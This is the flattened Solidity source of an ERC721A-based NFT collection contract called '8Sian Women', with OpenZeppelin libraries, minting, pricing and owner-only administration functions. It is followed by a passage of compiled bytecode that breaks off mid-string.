{xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: ERC721A.sol // Creators: locationtba.eth, 2pmflow.eth pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints. * * Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..). * * Does not support burning tokens to address(0). */ contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using Address for address; using Strings for uint256; struct TokenOwnership { address addr; uint64 startTimestamp; } struct AddressData { uint128 balance; uint128 numberMinted; } uint256 private currentIndex = 0; uint256 internal immutable maxBatchSize; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to ownership details // An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details. mapping(uint256 => TokenOwnership) private _ownerships; // Mapping owner address to address data mapping(address => AddressData) private _addressData; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev * `maxBatchSize` refers to how much a minter can mint at a time. */ constructor( string memory name_, string memory symbol_, uint256 maxBatchSize_ ) { require(maxBatchSize_ > 0, "ERC721A: max batch size must be nonzero"); _name = name_; _symbol = symbol_; maxBatchSize = maxBatchSize_; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view override returns (uint256) { return currentIndex; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view override returns (uint256) { require(index < totalSupply(), "ERC721A: global index out of bounds"); return index; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. * This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first. * It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) { require(index < balanceOf(owner), "ERC721A: owner index out of bounds"); uint256 numMintedSoFar = totalSupply(); uint256 tokenIdsIdx = 0; address currOwnershipAddr = address(0); for (uint256 i = 0; i < numMintedSoFar; i++) { TokenOwnership memory ownership = _ownerships[i]; if (ownership.addr != address(0)) { currOwnershipAddr = ownership.addr; } if (currOwnershipAddr == owner) { if (tokenIdsIdx == index) { return i; } tokenIdsIdx++; } } revert("ERC721A: unable to get token of owner by index"); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { require(owner != address(0), "ERC721A: balance query for the zero address"); return uint256(_addressData[owner].balance); } function _numberMinted(address owner) internal view returns (uint256) { require( owner != address(0), "ERC721A: number minted query for the zero address" ); return uint256(_addressData[owner].numberMinted); } function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { require(_exists(tokenId), "ERC721A: owner query for nonexistent token"); uint256 lowestTokenToCheck; if (tokenId >= maxBatchSize) { lowestTokenToCheck = tokenId - maxBatchSize + 1; } for (uint256 curr = tokenId; curr >= lowestTokenToCheck; curr--) { TokenOwnership memory ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } } revert("ERC721A: unable to determine the owner of token"); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { return ownershipOf(tokenId).addr; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public override { address owner = ERC721A.ownerOf(tokenId); require(to != owner, "ERC721A: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721A: approve caller is not owner nor approved for all" ); _approve(to, tokenId, owner); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { require(_exists(tokenId), "ERC721A: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public override { require(operator != _msgSender(), "ERC721A: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public override { _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public override { _transfer(from, to, tokenId); require( _checkOnERC721Received(from, to, tokenId, _data), "ERC721A: transfer to non ERC721Receiver implementer" ); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), */ function _exists(uint256 tokenId) internal view returns (bool) { return tokenId < currentIndex; } function _safeMint(address to, uint256 quantity) internal { _safeMint(to, quantity, ""); } /** * @dev Mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `quantity` cannot be larger than the max batch size. * * Emits a {Transfer} event. */ function _safeMint( address to, uint256 quantity, bytes memory _data ) internal { uint256 startTokenId = currentIndex; require(to != address(0), "ERC721A: mint to the zero address"); // We know if the first token in the batch doesn't exist, the other ones don't as well, because of serial ordering. require(!_exists(startTokenId), "ERC721A: token already minted"); require(quantity <= maxBatchSize, "ERC721A: quantity to mint too high"); _beforeTokenTransfers(address(0), to, startTokenId, quantity); AddressData memory addressData = _addressData[to]; _addressData[to] = AddressData( addressData.balance + uint128(quantity), addressData.numberMinted + uint128(quantity) ); _ownerships[startTokenId] = TokenOwnership(to, uint64(block.timestamp)); uint256 updatedIndex = startTokenId; for (uint256 i = 0; i < quantity; i++) { emit Transfer(address(0), to, updatedIndex); require( _checkOnERC721Received(address(0), to, updatedIndex, _data), "ERC721A: transfer to non ERC721Receiver implementer" ); updatedIndex++; } currentIndex = updatedIndex; _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Transfers `tokenId` from `from` to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) private { TokenOwnership memory prevOwnership = ownershipOf(tokenId); bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr || getApproved(tokenId) == _msgSender() || isApprovedForAll(prevOwnership.addr, _msgSender())); require( isApprovedOrOwner, "ERC721A: transfer caller is not owner nor approved" ); require( prevOwnership.addr == from, "ERC721A: transfer from incorrect owner" ); require(to != address(0), "ERC721A: transfer to the zero address"); _beforeTokenTransfers(from, to, tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, prevOwnership.addr); _addressData[from].balance -= 1; _addressData[to].balance += 1; _ownerships[tokenId] = TokenOwnership(to, uint64(block.timestamp)); // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; if (_ownerships[nextTokenId].addr == address(0)) { if (_exists(nextTokenId)) { _ownerships[nextTokenId] = TokenOwnership( prevOwnership.addr, prevOwnership.startTimestamp ); } } emit Transfer(from, to, tokenId); _afterTokenTransfers(from, to, tokenId, 1); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve( address to, uint256 tokenId, address owner ) private { _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } uint256 public nextOwnerToExplicitlySet = 0; /** * @dev Explicitly set `owners` to eliminate loops in future calls of ownerOf(). */ function _setOwnersExplicit(uint256 quantity) internal { uint256 oldNextOwnerToSet = nextOwnerToExplicitlySet; require(quantity > 0, "quantity must be nonzero"); uint256 endIndex = oldNextOwnerToSet + quantity - 1; if (endIndex > currentIndex - 1) { endIndex = currentIndex - 1; } // We know if the last one in the group exists, all in the group exist, due to serial ordering. require(_exists(endIndex), "not enough minted yet for this cleanup"); for (uint256 i = oldNextOwnerToSet; i <= endIndex; i++) { if (_ownerships[i].addr == address(0)) { TokenOwnership memory ownership = ownershipOf(i); _ownerships[i] = TokenOwnership( ownership.addr, ownership.startTimestamp ); } } nextOwnerToExplicitlySet = endIndex + 1; } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721A: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes * minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. */ function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: 8sianwomen.sol /* ============================================== 8Sian Women ============================================== */ pragma solidity ^0.8.0; /** * @title 8Sian Women */ contract OwnableDelegateProxy {} contract ProxyRegistry { mapping(address => OwnableDelegateProxy) public proxies; } contract ASianWomen is ERC721A, Ownable { bool public saleIsActive = false; string private _baseURIextended = "https://8sianwomen.s3.us-west-1.amazonaws.com/metadata/8sianwomen-metadata-"; uint256 public Price1 = 0.03 ether; uint256 public Price2 = 0.05 ether; uint public maxSupply = 3333; address proxyRegistryAddress ; mapping(address => uint) public addressFreeMinted; constructor() ERC721A("8Sian Women", "8w", 500) { } function setBaseURI(string memory baseURI_) external onlyOwner() { _baseURIextended = baseURI_; } function _baseURI() internal view virtual override returns (string memory) { return _baseURIextended; } function setSaleState(bool newState) public onlyOwner { saleIsActive = newState; } function setPrice(uint256 newPrice1,uint256 newPrice2) public onlyOwner { Price1 = newPrice1; Price2 = newPrice2; } function setProxyRegistryAddress(address proxyAddress) external onlyOwner { proxyRegistryAddress = proxyAddress; } function isApprovedForAll(address owner, address operator) public view override returns (bool) { ProxyRegistry proxyRegistry = ProxyRegistry(proxyRegistryAddress); if (address(proxyRegistry.proxies(owner)) == operator) { return true; } return super.isApprovedForAll(owner, operator); } function mint(uint numberOfTokens) external payable { uint amountAvailableFreeMint = 1000; uint maxPerTx = 5; uint maxFreeMintPerWallet = 10; require(saleIsActive, "Sale is inactive."); require(numberOfTokens <= maxPerTx, "You can only mint maxPerTx at a time."); require(totalSupply() + numberOfTokens <= maxSupply, "Purchase would exceed max supply of tokens"); if (totalSupply() + numberOfTokens > amountAvailableFreeMint) { if (totalSupply() + numberOfTokens <= 2000){ require((Price1 * numberOfTokens) <= msg.value, "Don't send under (in ETH)."); }else { require((Price2 * numberOfTokens) <= msg.value, "Don't send under (in ETH)."); } } else { require(msg.value == 0, "Don't send ether for the free mint."); require(addressFreeMinted[msg.sender] < maxFreeMintPerWallet, "You can only adopt 10 free nfts per wallet. Wait for the paid adoption."); } _safeMint(msg.sender, numberOfTokens); addressFreeMinted[msg.sender] += numberOfTokens; } function gift(address _to,uint numberOfTokens) external onlyOwner { require(totalSupply() + numberOfTokens <= maxSupply, "Purchase would exceed max supply of tokens"); _safeMint(_to, numberOfTokens); } function withdraw() public onlyOwner { (bool success, ) = msg.sender.call{value: address(this).balance}(""); require( success, "Address: unable to send value, recipient may have reverted" ); } }
0x6080604052600436106101e35760003560e01c80638da5cb5b11610102578063cbce4c9711610095578063e985e9c511610064578063e985e9c514610551578063eb8d244414610571578063f2fde38b14610592578063f7d97577146105b257600080fd5b8063cbce4c97146104e5578063d26ea6c014610505578063d5abeb0114610525578063d7224ba01461053b57600080fd5b8063b2e3ef2c116100d1578063b2e3ef2c14610458578063b88d4fde14610485578063c4e37095146104a5578063c87b56dd146104c557600080fd5b80638da5cb5b146103f257806395d89b4114610410578063a0712d6814610425578063a22cb4651461043857600080fd5b80633ccfd60b1161017a57806355f804b31161014957806355f804b31461037d5780636352211e1461039d57806370a08231146103bd578063715018a6146103dd57600080fd5b80633ccfd60b1461031257806342842e0e146103275780634f6ccce714610347578063548fb3f81461036757600080fd5b8063095ea7b3116101b6578063095ea7b31461029b57806318160ddd146102bd57806323b872dd146102d25780632f745c59146102f257600080fd5b806301ffc9a7146101e85780630322923c1461021d57806306fdde0314610241578063081812fc14610263575b600080fd5b3480156101f457600080fd5b50610208610203366004612139565b6105d2565b60405190151581526020015b60405180910390f35b34801561022957600080fd5b50610233600b5481565b604051908152602001610214565b34801561024d57600080fd5b5061025661063f565b60405161021491906122ac565b34801561026f57600080fd5b5061028361027e3660046121d9565b6106d1565b6040516001600160a01b039091168152602001610214565b3480156102a757600080fd5b506102bb6102b63660046120f2565b610761565b005b3480156102c957600080fd5b50600054610233565b3480156102de57600080fd5b506102bb6102ed366004611ffc565b610879565b3480156102fe57600080fd5b5061023361030d3660046120f2565b610884565b34801561031e57600080fd5b506102bb6109f2565b34801561033357600080fd5b506102bb610342366004611ffc565b610add565b34801561035357600080fd5b506102336103623660046121d9565b610af8565b34801561037357600080fd5b50610233600a5481565b34801561038957600080fd5b506102bb610398366004612190565b610b5a565b3480156103a957600080fd5b506102836103b83660046121d9565b610b9b565b3480156103c957600080fd5b506102336103d8366004611fa6565b610bad565b3480156103e957600080fd5b506102bb610c3e565b3480156103fe57600080fd5b506008546001600160a01b0316610283565b34801561041c57600080fd5b50610256610c74565b6102bb6104333660046121d9565b610c83565b34801561044457600080fd5b506102bb6104533660046120bd565b610f37565b34801561046457600080fd5b50610233610473366004611fa6565b600e6020526000908152604090205481565b34801561049157600080fd5b506102bb6104a036600461203d565b610ffc565b3480156104b157600080fd5b506102bb6104c036600461211e565b611035565b3480156104d157600080fd5b506102566104e03660046121d9565b61107d565b3480156104f157600080fd5b506102bb6105003660046120f2565b61114a565b34801561051157600080fd5b506102bb610520366004611fa6565b6111b3565b34801561053157600080fd5b50610233600c5481565b34801561054757600080fd5b5061023360075481565b34801561055d57600080fd5b5061020861056c366004611fc3565b6111ff565b34801561057d57600080fd5b5060085461020890600160a01b900460ff1681565b34801561059e57600080fd5b506102bb6105ad366004611fa6565b6112cf565b3480156105be57600080fd5b506102bb6105cd3660046121f2565b611367565b60006001600160e01b031982166380ac58cd60e01b148061060357506001600160e01b03198216635b5e139f60e01b145b8061061e57506001600160e01b0319821663780e9d6360e01b145b8061063957506301ffc9a760e01b6001600160e01b03198316145b92915050565b60606001805461064e90612480565b80601f016020809104026020016040519081016040528092919081815260200182805461067a90612480565b80156106c75780601f1061069c576101008083540402835291602001916106c7565b820191906000526020600020905b8154815290600101906020018083116106aa57829003601f168201915b5050505050905090565b60006106de826000541190565b6107455760405162461bcd60e51b815260206004820152602d60248201527f455243373231413a20617070726f76656420717565727920666f72206e6f6e6560448201526c3c34b9ba32b73a103a37b5b2b760991b60648201526084015b60405180910390fd5b506000908152600560205260409020546001600160a01b031690565b600061076c82610b9b565b9050806001600160a01b0316836001600160a01b031614156107db5760405162461bcd60e51b815260206004820152602260248201527f455243373231413a20617070726f76616c20746f2063757272656e74206f776e60448201526132b960f11b606482015260840161073c565b336001600160a01b03821614806107f757506107f781336111ff565b6108695760405162461bcd60e51b815260206004820152603960248201527f455243373231413a20617070726f76652063616c6c6572206973206e6f74206f60448201527f776e6572206e6f7220617070726f76656420666f7220616c6c00000000000000606482015260840161073c565b61087483838361139c565b505050565b6108748383836113f8565b600061088f83610bad565b82106108e85760405162461bcd60e51b815260206004820152602260248201527f455243373231413a206f776e657220696e646578206f7574206f6620626f756e604482015261647360f01b606482015260840161073c565b600080549080805b83811015610992576000818152600360209081526040918290208251808401909352546001600160a01b038116808452600160a01b90910467ffffffffffffffff16918301919091521561094357805192505b876001600160a01b0316836001600160a01b0316141561097f57868414156109715750935061063992505050565b8361097b816124bb565b9450505b508061098a816124bb565b9150506108f0565b5060405162461bcd60e51b815260206004820152602e60248201527f455243373231413a20756e61626c6520746f2067657420746f6b656e206f662060448201526d0deeedccae440c4f240d2dcc8caf60931b606482015260840161073c565b6008546001600160a01b03163314610a1c5760405162461bcd60e51b815260040161073c90612309565b604051600090339047908381818185875af1925050503d8060008114610a5e576040519150601f19603f3d011682016040523d82523d6000602084013e610a63565b606091505b5050905080610ada5760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d61792068617665207265766572746564000000000000606482015260840161073c565b50565b61087483838360405180602001604052806000815250610ffc565b600080548210610b565760405162461bcd60e51b815260206004820152602360248201527f455243373231413a20676c6f62616c20696e646578206f7574206f6620626f756044820152626e647360e81b606482015260840161073c565b5090565b6008546001600160a01b03163314610b845760405162461bcd60e51b815260040161073c90612309565b8051610b97906009906020840190611e8b565b5050565b6000610ba682611780565b5192915050565b60006001600160a01b038216610c195760405162461bcd60e51b815260206004820152602b60248201527f455243373231413a2062616c616e636520717565727920666f7220746865207a60448201526a65726f206164647265737360a81b606482015260840161073c565b506001600160a01b03166000908152600460205260409020546001600160801b031690565b6008546001600160a01b03163314610c685760405162461bcd60e51b815260040161073c90612309565b610c72600061192a565b565b60606002805461064e90612480565b6008546103e890600590600a90600160a01b900460ff16610cda5760405162461bcd60e51b815260206004820152601160248201527029b0b6329034b99034b730b1ba34bb329760791b604482015260640161073c565b81841115610d385760405162461bcd60e51b815260206004820152602560248201527f596f752063616e206f6e6c79206d696e74206d617850657254782061742061206044820152643a34b6b29760d91b606482015260840161073c565b600c5484610d4560005490565b610d4f91906123b3565b1115610d6d5760405162461bcd60e51b815260040161073c906122bf565b8284610d7860005490565b610d8291906123b3565b1115610e15576107d084610d9560005490565b610d9f91906123b3565b11610e06573484600a54610db391906123df565b1115610e015760405162461bcd60e51b815260206004820152601a60248201527f446f6e27742073656e6420756e6465722028696e20455448292e000000000000604482015260640161073c565b610f03565b3484600b54610db391906123df565b3415610e6f5760405162461bcd60e51b815260206004820152602360248201527f446f6e27742073656e6420657468657220666f72207468652066726565206d69604482015262373a1760e91b606482015260840161073c565b336000908152600e60205260409020548111610f035760405162461bcd60e51b815260206004820152604760248201527f596f752063616e206f6e6c792061646f70742031302066726565206e6674732060448201527f7065722077616c6c65742e205761697420666f7220746865207061696420616460648201526637b83a34b7b71760c91b6084